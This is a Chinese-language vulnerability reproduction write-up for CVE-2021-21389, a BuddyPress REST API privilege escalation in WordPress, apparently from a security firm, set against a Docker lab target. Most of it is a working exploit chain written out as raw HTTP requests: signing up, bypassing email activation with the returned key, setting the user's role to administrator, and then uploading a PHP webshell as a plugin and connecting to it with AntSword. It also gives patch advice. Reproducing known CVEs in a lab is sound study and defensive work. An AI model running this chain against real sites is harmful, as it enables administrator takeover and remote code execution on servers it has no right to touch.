CVE-2021-21389 WordPress 越权漏洞
0x01漏洞简述
在 7.2.1 之前的 5.0.0 版本的 BuddyPress 中,非特权普通用户可以通过利用 REST API 成员端点中的问题来获得管理员权限。
0x02知识扩展
BuddyPress 是一个用于构建社区站点的开源 WordPress 插件。
0x03风险等级
漏洞的评定如下:
评定方式 等级
威胁等级 严重
影响面 广泛
0x04影响版本
5.0.0 <BuddyPress< 7.2.1
0x05漏洞环境搭建
所需系统环境及配置信息
攻击机
操作系统:win11
IP:172.16.16.57
靶机
操作系统:centos 7
IP:192.168.182.129
安装步骤
1、docker拉取靶场
拉取镜像:
docker pull hoangkien1020/buddypress:cve202121389
运行容器(映射端口:80:80):
docker run -p 80:80 -d hoangkien1020/buddypress:cve202121389
2、访问地址:
192.168.182.129
访问成功
0x06漏洞验证
所需工具:
-
BurpSuite
-
蚁剑
利用步骤(getshell):
1、注册普通权限账号。BurpSuite里的Reponse模块直接发送以下数据包即可注册。
POST /wp-json/buddypress/v1/signup HTTP/1.1
Host: 192.168.182.129
User-Agent: python-requests/2.21.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json; charset=UTF-8
Content-Length: 92
{"user_login": "test", "user_email": "1@1.com", "user_name": "test", "password": "123456"}
箭头处是获取的activation_key
2、绕过邮箱验证并登陆。
获取的activation_key,构造发包绕过邮箱验证。
PUT /wp-json/buddypress/v1/signup/activate/L8kRnJK74xoWtP1WrBBcwky2wh63uoOq HTTP/1.1
Host: 192.168.182.129
User-Agent: python-requests/2.21.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 90
{"user_login": "test", "user_email": "1@1.com", "user_name": "test", "password": "123456"}
红线处改为自己刚获取的activation_key值
登陆成功
3、新建分组,填写Details后,一直默认点击下一步。
4、获取X-WP-Nonce的值和cookie。创建完成后点击Manage-->Members。
最后抓取Ban的数据包,获取X-WP-Nonce的值和cookie。
5、构造提权数据包
POST /wp-json/buddypress/v1/members/me HTTP/1.1
Host: 192.168.182.129
User-Agent: python-requests/2.21.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
X-WP-Nonce: 7f87114ef0
Content-Type: application/json; charset=UTF-8
Cookie: wordpress_test_cookie=WP%20Cookie%20check; wp-settings-2=mfold%3Df; wp-settings-time-2=1657862038; wordpress_logged_in_46b90fcc7227bd0ede78180769b44ae6=test%7C1658044863%7CS2fgZHCsOuOc34jEWQT4CmFDEqESIUNDegWrAL7eRf6%7C1c1df5c4051bedb3a14c6326ba10421b40ee9bc4b67f63d492fac6a7b4a4efa2
Content-Length: 26
{"roles": "administrator"}
把红框数值改为自己提取的X-WP-Nonce的值和cookie。然后发包。
此时我们的权限就变成管理员了
6、通过上传插件getshell
上传一句话(注意红框选择全部文件),提示无法安装不用管。
7、蚁剑链接
地址为:
/wp-content/uploads/2022/07/a.php(上传的年月)
http://192.168.182.129/wp-content/uploads/2022/07/a.php
0x07修复建议
目前厂商已发布升级补丁以修复漏洞或直接更新到最新版本,补丁获取链接:
https://buddypress.org/2021/03/buddypress-7-2-1-security-release/
0x08参考链接
https://blog.csdn.net/xiaobai_20190815/article/details/124704353
https://vulfocus.cn/#/dashboard?image_id=79dd78bd-bf26-4995-a3ba-62f3dd9a8548
如果您遇到网络安全问题
欢迎致电:0991-8156363
或发送至:sudo@xjsec.cn
新疆海狼科技,您身边的网络安全助理